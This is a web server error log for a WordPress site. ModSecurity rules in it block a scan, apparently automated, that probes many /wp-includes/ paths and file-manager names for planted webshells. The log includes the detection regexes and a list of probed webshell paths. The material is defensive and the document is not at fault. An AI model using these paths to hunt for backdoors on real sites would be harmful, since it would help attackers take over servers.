[Wed Apr 22 07:02:04.087767 2026] [:error] [pid 32095:tid 32113] [client 45.137.126.10:60413] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aegB7Nfu5Cv628YPe592oAAAA48"]
[Wed Apr 22 07:02:11.087293 2026] [proxy_fcgi:error] [pid 23041:tid 23059] [client 45.137.126.8:38919] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:02:11.582554 2026] [proxy_fcgi:error] [pid 23041:tid 23055] [client 45.137.126.8:38919] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:02:12.079693 2026] [proxy_fcgi:error] [pid 23041:tid 23066] [client 45.137.126.8:38919] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:02:18.038060 2026] [:error] [pid 23041:tid 23044] [client 45.137.126.8:38919] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "aegB-kTXx_lUa7xwAb7gWgAAAQA"]
[Wed Apr 22 07:02:19.021872 2026] [:error] [pid 23041:tid 23062] [client 45.137.126.52:27833] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aegB-0TXx_lUa7xwAb7gXAAAARI"]
[Wed Apr 22 07:02:20.000798 2026] [:error] [pid 21683:tid 21760] [client 45.137.126.39:56433] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aegB-1ZBWT-0diZyYyaXiwAAAIo"]
[Wed Apr 22 07:02:20.984090 2026] [:error] [pid 21682:tid 21733] [client 45.137.126.15:48757] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aegB_JlXWQZUlmPHS3oFGgAAAEo"]
[Wed Apr 22 07:02:21.976625 2026] [:error] [pid 21683:tid 21757] [client 45.137.126.12:51815] [client 45.137.126.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aegB_VZBWT-0diZyYyaXjwAAAIc"]
[Wed Apr 22 07:02:22.961978 2026] [:error] [pid 21683:tid 21751] [client 45.137.126.40:54141] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aegB_lZBWT-0diZyYyaXkgAAAIE"]
[Wed Apr 22 07:02:25.261716 2026] [:error] [pid 23041:tid 23050] [client 45.137.126.45:42961] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/index.php"] [unique_id "aegCAUTXx_lUa7xwAb7gcwAAAQY"]
[Wed Apr 22 07:02:26.244813 2026] [:error] [pid 32095:tid 32110] [client 45.137.126.40:40053] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aegCAtfu5Cv628YPe592qgAAA4w"]
[Wed Apr 22 07:02:27.230033 2026] [:error] [pid 31755:tid 31787] [client 45.137.126.39:61685] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aegCAwz2mYMkg3X8q1tkMQAAAhg"]
[Wed Apr 22 07:02:28.215901 2026] [:error] [pid 23041:tid 23066] [client 45.137.126.17:35499] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aegCBETXx_lUa7xwAb7gewAAARY"]
[Wed Apr 22 07:02:32.940468 2026] [:error] [pid 23041:tid 23044] [client 45.137.126.17:45051] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aegCCETXx_lUa7xwAb7giQAAAQA"]
[Wed Apr 22 07:02:36.300288 2026] [:error] [pid 21682:tid 21724] [client 45.137.126.29:23615] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/index.php"] [unique_id "aegCDJlXWQZUlmPHS3oFOAAAAEE"]
[Wed Apr 22 07:02:41.303573 2026] [:error] [pid 31949:tid 31972] [client 45.137.126.7:51169] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aegCEX2WtGZh5JfbMUc-HAAAAxQ"]
[Wed Apr 22 07:02:46.336306 2026] [:error] [pid 31706:tid 31721] [client 45.137.126.26:29609] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/about.php"] [unique_id "aegCFrGSe9Rnd4Q_z1ifqwAAAcw"]
[Wed Apr 22 07:02:53.052648 2026] [:error] [pid 32095:tid 32101] [client 45.137.126.15:53461] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aegCHdfu5Cv628YPe592uQAAA4M"]
[Wed Apr 22 07:03:01.592418 2026] [:error] [pid 31756:tid 31798] [client 45.137.126.35:65423] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/about.php"] [unique_id "aegCJd_WbkXbHaEfhd3aJAAAAkY"]
[Wed Apr 22 07:03:04.855825 2026] [:error] [pid 31755:tid 31779] [client 45.137.126.24:32683] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-class.php"] [unique_id "aegCKAz2mYMkg3X8q1tkggAAAhA"]
[Wed Apr 22 07:03:33.576740 2026] [:error] [pid 32053:tid 32065] [client 45.137.126.9:46565] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aegCRQzPjXx_ocfbYhs3rQAAA0o"]
[Wed Apr 22 07:03:34.557505 2026] [:error] [pid 32095:tid 32108] [client 45.137.126.19:23777] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aegCRtfu5Cv628YPe592zAAAA4o"]
[Wed Apr 22 07:03:37.868033 2026] [:error] [pid 31755:tid 31783] [client 45.137.126.27:53183] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aegCSQz2mYMkg3X8q1tkpQAAAhQ"]
[Wed Apr 22 07:03:42.842865 2026] [:error] [pid 21683:tid 21750] [client 45.137.126.29:21717] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aegCTlZBWT-0diZyYyaXuAAAAIA"]
[Wed Apr 22 07:03:43.832028 2026] [:error] [pid 21682:tid 21731] [client 45.137.126.51:23373] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aegCT5lXWQZUlmPHS3oFbAAAAEg"]
[Wed Apr 22 07:03:51.814442 2026] [:error] [pid 23041:tid 23060] [client 45.137.126.53:40843] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aegCV0TXx_lUa7xwAb7hJAAAARA"]
[Wed Apr 22 07:03:52.797427 2026] [:error] [pid 31756:tid 31816] [client 45.137.126.17:63219] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aegCWN_WbkXbHaEfhd3aRwAAAlg"]
[Wed Apr 22 07:04:02.972708 2026] [:error] [pid 31756:tid 31812] [client 45.137.126.53:48463] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aegCYt_WbkXbHaEfhd3aYQAAAlQ"]
[Wed Apr 22 07:04:06.405213 2026] [proxy_fcgi:error] [pid 31756:tid 31804] [client 45.137.126.53:60643] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:04:08.578803 2026] [:error] [pid 31756:tid 31815] [client 45.137.126.53:60643] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/function.php"] [unique_id "aegCaN_WbkXbHaEfhd3aZwAAAlc"]
[Wed Apr 22 07:04:09.563506 2026] [:error] [pid 23041:tid 23053] [client 45.137.126.22:64099] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/plugins.php"] [unique_id "aegCaUTXx_lUa7xwAb7hXgAAAQk"]
[Wed Apr 22 07:04:14.604022 2026] [:error] [pid 31755:tid 31765] [client 45.137.126.47:48437] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/chosen.php"] [unique_id "aegCbgz2mYMkg3X8q1tkwgAAAgI"]
[Wed Apr 22 07:04:17.242351 2026] [:error] [pid 21683:tid 21761] [client 45.137.126.45:42785] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aegCcVZBWT-0diZyYyaXyQAAAIs"]
[Wed Apr 22 07:04:30.734927 2026] [:error] [pid 21683:tid 21760] [client 45.137.126.2:44525] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/atomlib.php"] [unique_id "aegCflZBWT-0diZyYyaX3gAAAIo"]
[Wed Apr 22 07:04:31.718358 2026] [:error] [pid 32053:tid 32078] [client 45.137.126.43:63747] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aegCfwzPjXx_ocfbYhs3twAAA1c"]
[Wed Apr 22 07:04:40.108044 2026] [:error] [pid 31756:tid 31797] [client 45.137.126.14:28435] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "aegCiN_WbkXbHaEfhd3ahAAAAkU"]
[Wed Apr 22 07:04:41.089842 2026] [:error] [pid 31755:tid 31779] [client 45.137.126.36:36231] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aegCiQz2mYMkg3X8q1tk4QAAAhA"]
[Wed Apr 22 07:04:42.082448 2026] [:error] [pid 31755:tid 31764] [client 45.137.126.14:28175] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aegCigz2mYMkg3X8q1tk6AAAAgE"]
[Wed Apr 22 07:04:52.126223 2026] [:error] [pid 32095:tid 32099] [client 45.137.126.2:29301] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aegClNfu5Cv628YPe5927QAAA4I"]
[Wed Apr 22 07:04:55.390311 2026] [:error] [pid 23041:tid 23062] [client 45.137.126.17:24883] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aegCl0TXx_lUa7xwAb7hsQAAARI"]
[Wed Apr 22 07:05:07.224869 2026] [:error] [pid 21683:tid 21755] [client 45.137.126.21:39219] [client 45.137.126.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.21, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/js/wp-login.php"] [unique_id "aegCo1ZBWT-0diZyYyaYFgAAAIU"]
[Wed Apr 22 07:05:17.003738 2026] [:error] [pid 21683:tid 21750] [client 45.137.126.21:39219] [client 45.137.126.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.21, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aegCrVZBWT-0diZyYyaYLwAAAIA"]
[Wed Apr 22 07:05:35.401787 2026] [proxy_fcgi:error] [pid 21683:tid 21753] [client 45.137.126.21:39219] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:05:59.411513 2026] [:error] [pid 21683:tid 21763] [client 45.137.126.21:39219] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/about.php"] [unique_id "aegC11ZBWT-0diZyYyaYYAAAAI0"]
[Wed Apr 22 07:06:06.258280 2026] [:error] [pid 23041:tid 23059] [client 45.137.126.43:22917] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aegC3kTXx_lUa7xwAb7icQAAAQ8"]
[Wed Apr 22 07:06:11.241088 2026] [:error] [pid 23041:tid 23068] [client 45.137.126.11:58635] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aegC40TXx_lUa7xwAb7iiwAAARg"]
[Wed Apr 22 07:06:27.700255 2026] [:error] [pid 21683:tid 21768] [client 45.137.126.17:64813] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aegC81ZBWT-0diZyYyaYggAAAJI"]
[Wed Apr 22 07:06:32.857762 2026] [:error] [pid 31755:tid 31775] [client 45.137.126.44:62653] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aegC-Az2mYMkg3X8q1tlsAAAAgw"]
[Wed Apr 22 07:06:36.202326 2026] [:error] [pid 21682:tid 21734] [client 45.137.126.32:47853] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aegC_JlXWQZUlmPHS3oGRgAAAEs"]
[Wed Apr 22 07:06:44.785250 2026] [proxy_fcgi:error] [pid 31949:tid 31961] [client 45.137.126.15:44225] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:06:45.279927 2026] [proxy_fcgi:error] [pid 31949:tid 31972] [client 45.137.126.15:44225] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:06:45.775325 2026] [:error] [pid 31949:tid 31967] [client 45.137.126.15:44225] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aegDBX2WtGZh5JfbMUc-dAAAAw8"]
[Wed Apr 22 07:06:46.759249 2026] [:error] [pid 23041:tid 23068] [client 45.137.126.19:25365] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aegDBkTXx_lUa7xwAb7jEgAAARg"]
[Wed Apr 22 07:06:59.672855 2026] [:error] [pid 31844:tid 31856] [client 45.137.126.41:50609] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aegDE2tAU9CprTB4b3IxOAAAAoo"]
[Wed Apr 22 07:07:03.065138 2026] [:error] [pid 23041:tid 23050] [client 45.137.126.22:57457] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "aegDF0TXx_lUa7xwAb7jWAAAAQY"]
